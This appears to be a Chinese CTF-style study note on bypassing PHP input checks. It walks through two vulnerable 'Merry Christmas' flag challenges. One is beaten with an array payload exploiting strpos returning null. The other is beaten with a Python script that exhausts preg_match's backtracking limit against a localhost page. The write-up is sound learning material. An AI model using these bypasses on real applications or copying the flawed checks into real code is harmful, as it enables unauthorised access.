目录
phpstudy
案例1
php中0 1 -1 true false null 空字符 数组之间的比较

- function areyouok($greeting){
- return preg_match('/Merry.*Christmas/is',$greeting);
- //2.传参之后来到这个有正则匹配的函数
- }
- $greeting=@$_POST['greeting'];
- //1.post传参
-
- if(!areyouok($greeting)){
- //3.这个if要areyouok返回false才能进来
- if(strpos($greeting,'Merry Christmas') !== false){
- //4.这个if要里面的strpos为字符查找函数,
- //如果查找到返回字符的位置,没有就返回false
-
- //5.根据弱类型匹配原则构造payload
- echo 'flag{this is flag}';
- }else{
- echo 'Do you know .swp file?';
- }
- }else{
- echo 'Do you know PHP?';
- }
strpos函数官方文档提示:
经过实验,如果字符串位置放数组返回的实际是null
①正则要匹配不上才能进第一个if
②第二个if又要求greeting中含有Merry Christmas
③跳出第二个的思想,根据官方文档提示如果返回的是null的话
④null !== false能返回true是因为!==参考的是严格比较=== (!=参考的==)
payload
greeting[]=

案例2
- function areyouok($greeting){
- return preg_match('/Merry.*Christmas/is',$greeting);
- }
- //3.目的是不匹配上merrychristmas
-
- $greeting=@$_POST['greeting'];
- //1.post传参
- if(!is_array($greeting)){
- //2.判断是否为数组(封杀案例1的那种payload)
- if(!areyouok($greeting)){
- if(strpos($greeting,'Merry Christmas') !== false){
- //4.匹配上merrychristmas
-
- echo 'Merry Christmas. '.'flag{this is flag}';
- }else{
- echo 'Do you know .swp file?';
- }
- }else{
- echo 'Do you know PHP?';
- }
- } else {
- echo 'fuck array!!!';
- }
- ?>
①不能匹配到MC的同时又要匹配到MC才能拿到flag
②正则回溯吐字符100w次就会返回false(目的是防止ddos)这样第一个if就能过去了,第二个只要里面存在MC也能进,那就构造存在MC的然后又会回溯100w次以上的
- from requests import post
-
- payload = {
- 'greeting': 'Merry Christmas' +'x'*1000000
- }
- res = post('http://localhost:8081/demo4.php', data=payload)
- print(res.text)


注:图中所标版本复现失败,我以为是php版本高了,结果下面那个8.的复现成功了实属离奇